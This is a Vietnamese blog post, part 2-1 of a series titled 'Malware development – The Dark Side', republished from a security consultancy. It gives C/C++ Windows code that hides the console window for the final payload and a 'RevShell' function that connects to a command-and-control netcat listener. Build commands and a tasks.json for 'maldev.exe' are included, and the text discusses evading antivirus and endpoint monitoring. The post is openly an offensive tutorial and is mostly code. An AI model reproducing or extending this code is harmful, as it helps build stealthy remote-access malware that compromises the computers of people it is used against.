Phát Triển Phần Mềm độc Hại - The Dark Side: Phần 2-1 - Bizfly Cloud

  • Techblog
  • Security
Phát triển phần mềm độc hại - The Dark Side: Phần 2-1Vinh Phạm229711-06-2018
Phát triển phần mềm độc hại - The Dark Side: Phần 2-1

Chào mừng bạn đến với phần thứ hai của loạt blog phát triển phần mềm độc hại. Nếu bạn chưa xem phần 1 thì có thể xem lại bài viết: Phát triển phần mềm độc hại - The Dark Side: Phần 1.

Căn cứ vào độ dài của Phần 2, Bizfly Cloud đã chia phần 2 của loạt blog ra thành hai nửa. Và đây là những gì chúng tôi sẽ giới thiệu trong phần 2:

    1. Ẩn bảng điều khiển Window từ người dùng [Phần 2-1]

    2. Viết chương trình sử dụng Windows API để kết nối với netcat listener [Phần 2-1]

    3. Phân tích cú pháp lệnh nhận được từ netcat và thực hiện lệnh CMD dựa trên đó [Phần 2-2]

    4. Hiểu được các cờ và tùy chọn của trình biên dịch để giảm kích thước của tệp nhị phân và để lại footprint ít nhất có thể khi ai đó đảo ngược kỹ thuật nhị phân [Phần 2-2]

Điều đầu tiên cần ghi nhớ đó là chúng ta sẽ không thực hiện hầu hết các lệnh thông qua lệnh shell Win API, lý do là nó trở nên dễ dàng hơn cho các công cụ giám sát điểm cuối để phát hiện dị thường và tìm ra được rằng đó là một nhị phân đáng ngờ mặc dù chúng ta có thể tránh được phần mềm diệt virus dễ dàng.

Nhưng chúng ta vẫn sẽ vẫn viết mã này. Đó là bởi vì rất khó để biết đến khi nào chúng ta cần thực hiện các lệnh shell hoặc thực thi các kịch bản lệnh powershell / vbs / batch từ xa, và điều thứ hai là khi phát triển phần mềm độc hại thì người mới bắt đầu sẽ có khởi động dễ dàng nhất.

C / C Headers

Hãy mở đầu với việc viết một mã C socket đơn giản bằng cách sử dụng Win API. Dưới đây là tập hợp các C Headers và các chỉ thị bộ tiền xử lý mà chúng tôi sẽ sử dụng trong suốt chuỗi blog:

//C Headers

#include <winsock2.h> //Socket Header

#include <windows.h> //Win API Header

#include <ws2tcpip.h> //TCP-IP Header

//C Header

#include <stdio.h> //Input Output Header

//Debug C Header

#include <iostream> //Input Output Debug Header

#pragma comment(lib, "Ws2_32.lib")

#define DEFAULT_BUFLEN 1024

#include, #pragma#define là các bộ tiền xử lý ở đây. #include sẽ bao gồm một tiêu đề/ thư viện được chỉ định vào mã chứa các phụ thuộc bắt buộc. #pragma comment sẽ gửi một tín hiệu đến trình biên dịch để liên kết thư viện Windows32 Ws_32.lib với chương trình của chúng tôi.

Thư viện này là một tệp hệ thống và được bao gồm trong mọi phiên bản của Windows. Nó chứa các thông tin cần thiết cho cả kiến trúc i386 và x64 của các thư viện socket để cả hai phiên bản hoạt động đúng.

Các winsocket sẽ không hoạt động nếu chỉ thị này không được bao gồm. Bộ tiền xử lý #define được sử dụng để định nghĩa một biến toàn cục với một giá trị cụ thể. Giá trị này có thể được truy cập bởi mọi hàm khác, và trong trường hợp của chúng ta, đây sẽ là độ dài đệm mặc định hoặc kích thước của các byte sẽ được gửi và nhận qua mạng. Bạn có thể tìm thêm thông tin về các bộ xử lý trước tại đây. https://www.tutorialspoint.com/cprogramming/c_preprocessors.htm

Bây giờ, hãy xem từng tiêu đề một:

    1. <winsock2.h>

Đây là một thư viện socket bao gồm tất cả các chức năng socket, cấu trúc và định nghĩa của Windows. Nó bao gồm cả hai socket TCP / UDP và phải được liên kết với thư viện Ws_32.lib để nó biên dịch và hoạt động bình thường. Đây là lý do chúng tôi đã bao gồm chỉ thị chú thích #pragma để liên kết thư viện Ws_32 với hàm socket.

2. <Windows.h>

Thư viện này bao gồm tất cả các chức năng API của window mà chúng tôi sẽ sử dụng để giao tiếp với hệ thống Windows. Nếu không có điều này, chúng tôi không thể làm việc với bất kỳ cuộc gọi API Win nào và vì chúng tôi đang viết phần mềm độc hại cho Windows, chúng tôi cần làm việc với TCHARSWCHARS rất nhiều. Các kiểu dữ liệu này được xác định trước trong tiêu đề Windows.h.

3. <ws2tcpip.h>

Tiêu đề này chứa tất cả các định nghĩa cho giao thức TCP / IP để chạy tương ứng. Vì tất cả các kết nối của chúng tôi sẽ qua TCP nên chúng tôi sẽ sử dụng tiêu đề này để tạo một bộ đệm và gửi nó qua TCP. Chúng tôi không cần phải viết giao thức ngay từ đầu vì tiêu đề này được mặc định bao gồm trong tất cả các hệ thống window, tuy nhiên chúng tôi sẽ cần xác định kích thước bộ đệm và quản lý cách bộ đệm được gửi qua mạng.

4. <stdio.h> / <iostream>

Bây giờ, khi bạn đã có kinh nghiệm trước đó trong C / C , bạn có thể tự hỏi tại sao chúng ta có hai tiêu đề gần giống như vậy. <stdio.h> là tệp tiêu đề chính của chúng tôi sẽ được yêu cầu làm việc với các hoạt động đầu vào/đầu ra như đọc, ghi văn bản và tệp nhị phân. stdio.h yêu cầu ít byte nhất trong chương trình vì nó là một tiêu đề dựa trên C chứ không phải C , nhưng nó hoạt động trong C .

Đây là lý do chính tại sao chúng ta sẽ viết các chương trình với sự kết hợp của C và C , lý do là C dễ viết hơn và C là hữu ích khi chúng ta muốn giảm kích thước của nhị phân và thao tác con trỏ, tham chiếu và bộ đệm trên đường đi. Mặt khác, chúng tôi sẽ sử dụng iostream vốn là tiêu đề dựa trên C , chỉ cho mục đích in các giá trị trên màn hình như stdout.

Chúng ta sẽ không định nghĩa toàn bộ các namespace ở đây, vì chúng ta sẽ sử dụng std :: trong các hàm của các chương trình của chúng ta khi chúng ta cần in hoặc gỡ các lệnh trên màn hình. Ngoài ra, chúng tôi sẽ sử dụng chuẩn C 11 và không phải là mặc định. Tôi sẽ giải thích điều này khi chúng ta nhìn vào cờ biên dịch và các tùy chọn trong blog tiếp theo.

Hãy nhớ luôn ghi chú #include <iostream> và loại bỏ các namespace standard bất cứ khi nào bạn biên dịch tải trọng cuối cùng và iostream khác để làm tăng kích thước của tệp nhị phân lên 900kb / 1MB.

Main()

Hãy bắt đầu với chức năng chính ngay bây giờ. Vì chúng ta sẽ phải viết một ứng dụng giao diện điều khiển nên cần phải viết code để ẩn window chính. Chúng tôi không muốn cửa sổ được mở cho đến khi chương trình kết thúc do đó chúng tôi cần phải ẩn nó. Tuy nhiên, code của chúng tôi vẫn phải đảm bảo đủ linh hoạt để có thể nhìn thấy cửa sổ khi gỡ lỗi phần mềm độc hại và sau đó để có thể xem được nó có hoạt động hay là không. Các chức năng chính sẽ trông giống như dưới đây:

//Main function

int main()

{

HWND stealth; //Declare a window handle

AllocConsole(); //Allocate a new console

stealth=FindWindowA("ConsoleWindowClass",NULL); //Find the previous Window handler and hide/show the window depending upon the next command

ShowWindow(stealth,SW_SHOWNORMAL); //SW_SHOWNORMAL = 1 = show, SW_HIDE = 0 = Hide the console

RevShell();

return 0;

}

HWND stealth tạo ra một window handle. Trong các trình ngôn ngữ hướng đối tượng, một ứng dụng không thể truy cập trực tiếp vào một đối tượng dữ liệu hoặc tài nguyên hệ thống khác. Vì vậy, một đối tượng phải luôn trả về một handle có thể được sử dụng bởi các ứng dụng khác để quản lý hoặc sửa đổi nó.

Hay nói một cách đơn giản, một handle là một bảng dữ liệu chứa thông tin chi tiết về các địa chỉ bộ nhớ của đối tượng. Bạn có thể tìm thêm thông tin về các loại dữ liệu Windows tại đây https://msdn.microsoft.com/en-us/library/windows/desktop/aa383751(v=vs.85).aspx.

Trong dòng thứ hai, chúng tôi phân bổ một giao diện điều khiển cho handle có thể hiển thị hoặc ẩn bảng điều khiển. Khi giao diện điều khiển được phân bổ, chúng ta cần phải chuyển class's name giao diện điều khiển là ConsoleWindowClass và lưu nó trong handle có tên là stealth và sau đó ẩn nó bằng cách chuyển nó làm đối số cho Win API ShowWindow. Win API này lấy đối số đầu tiên là một handle và đối số thứ hai là một giá trị số nguyên xác định những gì nên được thực hiện với window. Bạn có thể tìm thấy tập hợp số nguyên được xác định trước tại đây:

https://msdn.microsoft.com/en-us/library/windows/desktop/ms633548(v=vs.85).aspx.

Bây giờ, chúng ta sẽ sử dụng SW_SHOWNORMAL là số nguyên vì chúng ta cần gỡ lỗi code, nhưng trong đoạn mã cuối cùng, chúng ta cần thay đổi nó thành SW_HIDE là số nguyên 0 để ẩn cửa sổ giao diện điều khiển.

Cuối cùng, chúng tôi có chức năng RevShell mang chức năng tùy chỉnh, nơi chúng tôi sẽ viết code để kết nối với Máy chủ CnC của chúng tôi. Đối với hướng dẫn này, chúng tôi sẽ sử dụng netcat làm trình nghe của chúng tôi, nhưng trong blog tiếp theo, chúng tôi sẽ viết một trình xử lý Botnet thích hợp trong python3. Và cuối cùng thì chúng tôi cũng có giá trị trả về là 0 khi chúng tôi đang viết hàm int và đang cần cung cấp một exit code.

RevShell ()

Chức năng này sẽ lưu trữ socket code chính của chúng tôi để kết nối với người nghe. Đây sẽ là một hàm void và không phải là một hàm int và chúng ta không cần trả về bất kỳ giá trị nào. Dưới đây là các code như sau:

void RevShell()

{

WSADATA wsaver;

WSAStartup(MAKEWORD(2,2), &wsaver);

SOCKET tcpsock = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

sockaddr_in addr;

addr.sin_family = AF_INET;

addr.sin_addr.s_addr = inet_addr("127.0.0.1");

addr.sin_port = htons(8080);

if(connect(tcpsock, (SOCKADDR*)&addr, sizeof(addr))==SOCKET_ERROR) {

closesocket(tcpsock);

WSACleanup();

exit(0);

}

else {

std::cout << "[ ] Connected. Hit <Enter> to disconnect..." << std::endl;

std::cin.get();

}

closesocket(tcpsock);

WSACleanup();

exit(0);

}

Ở đây, dòng đầu tiên WSADATA wsaver, chúng ta tạo một đối tượng WSADATA. Cấu trúc WSADATA này chứa các chi tiết như thông tin phiên bản, trạng thái hệ thống cho dù nó có thể kết nối với mạng hay không, các socket tối đa mà nó có thể kết nối, v.v....

Nếu không khởi tạo cấu trúc dữ liệu này, chúng ta không thể tạo một socket. Một khi các socket được khởi tạo, chúng ta cần phải kiểm tra xem phiên bản đã được biên dịch của các socket có tương thích với các phiên bản cũ hơn của các socket hay không. So sánh phiên bản này được thực hiện bằng cách sử dụng WSAStartup.

Tiếp theo, chúng ta chuyển sang tạo một socket có tên tcpsock. Dòng:

Socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);

Chỉ định những điều sau:

AF_INET - lược đồ địa chỉ IPV4

SOCK_STREAM - Phát trực tuyến dựa trên kết nối trạng thái

IPPROTO_TCP - Sử dụng giao thức TCP / IP

sockaddr_in là một cấu trúc dữ liệu khác của các window cần các giá trị như lược đồ địa chỉ được sử dụng, địa chỉ IP và cổng để kết nối tới. Trong trường hợp của chúng tôi, đây sẽ là địa chỉ IP và cổng của Máy chủ CnC. Đối với mục đích gỡ lỗi, IP và Cổng phải là cổng chạy trình nghe netcat.

Khi các chi tiết kết nối được cung cấp, chúng tôi cố gắng kết nối với trình nghe netcat với chức năng connect trong window. Nếu kết nối có lỗi, nó sẽ dần đóng kết nối, nhưng nó vẫn sẽ in ra là kết nối thành công và đóng kết nối lại bằng cách nhấn enter. Sau đó chúng ta có thể biên dịch code bằng lệnh dưới đây:

For Linux:

$ i686-w64-mingw32-g -std=c 11 maldev.cpp -o maldev.exe -s -lws2_32 -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc -static-libgcc

For Windows:

> g -std=c 11 maldev.cpp -o maldev.exe -s -lws2_32 -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc -static-libgcc

Nếu bạn đang sử dụng mã trực quan như tôi, thì bạn có thể sử dụng tệp tasks.json bên dưới và sau đó nhấn CTRL SHIFT B để tạo tệp nhị phân:

// tasks.json

{

"version": "2.0.0",

"tasks": [

{

"label": "Build Code",

"type": "shell",

// For windows, uncomment g and comment out the linux command

// "command": "g ",

// For Linux:

"command": "i686-w64-mingw32-g ",

"args": [

//Compilation Flags and Options

"-std=c 11", "maldev.cpp", "-o", "maldev.exe", "-s", "-lws2_32", "-Wno-write-strings", "-fno-exceptions", "-fmerge-all-constants", "-static-libstdc ", "-static-libgcc"

],

"group": {

"kind": "build",

"isDefault": true

}

}

]

}

Tôi sẽ giải thích các flag và các tùy chọn của trình biên dịch trong Phần 2-2 của blog này. Đây là những gì bạn sẽ thấy khi bạn thực thi nhị phân:

Phát triển phần mềm độc hại - The Dark Side: Phần 2-1 - Ảnh 1.

Reverse Shell

Return 0;

Cuối cùng, đây là tất cả những gì tôi cần truyền tải trong blog này. Trong phần tiếp theo, tức là phần 2-2, chúng tôi sẽ viết một hàm để phân tích cú pháp lệnh netcat và thực hiện lệnh từ xa.

link gốc: http://niiconsulting.com/checkmate/2018/02/malware-development-welcome-dark-side-part-2-1/

Theo Bizfly Cloud chia sẻ

>> Có thể bạn quan tâm: Phát triển phần mềm độc hại - The Dark Side: phần 2-2

TAGS: phần mềm độc hạiSHAREFacebookTwitter

Từ khóa » Thư Viện Ws2tcpip.h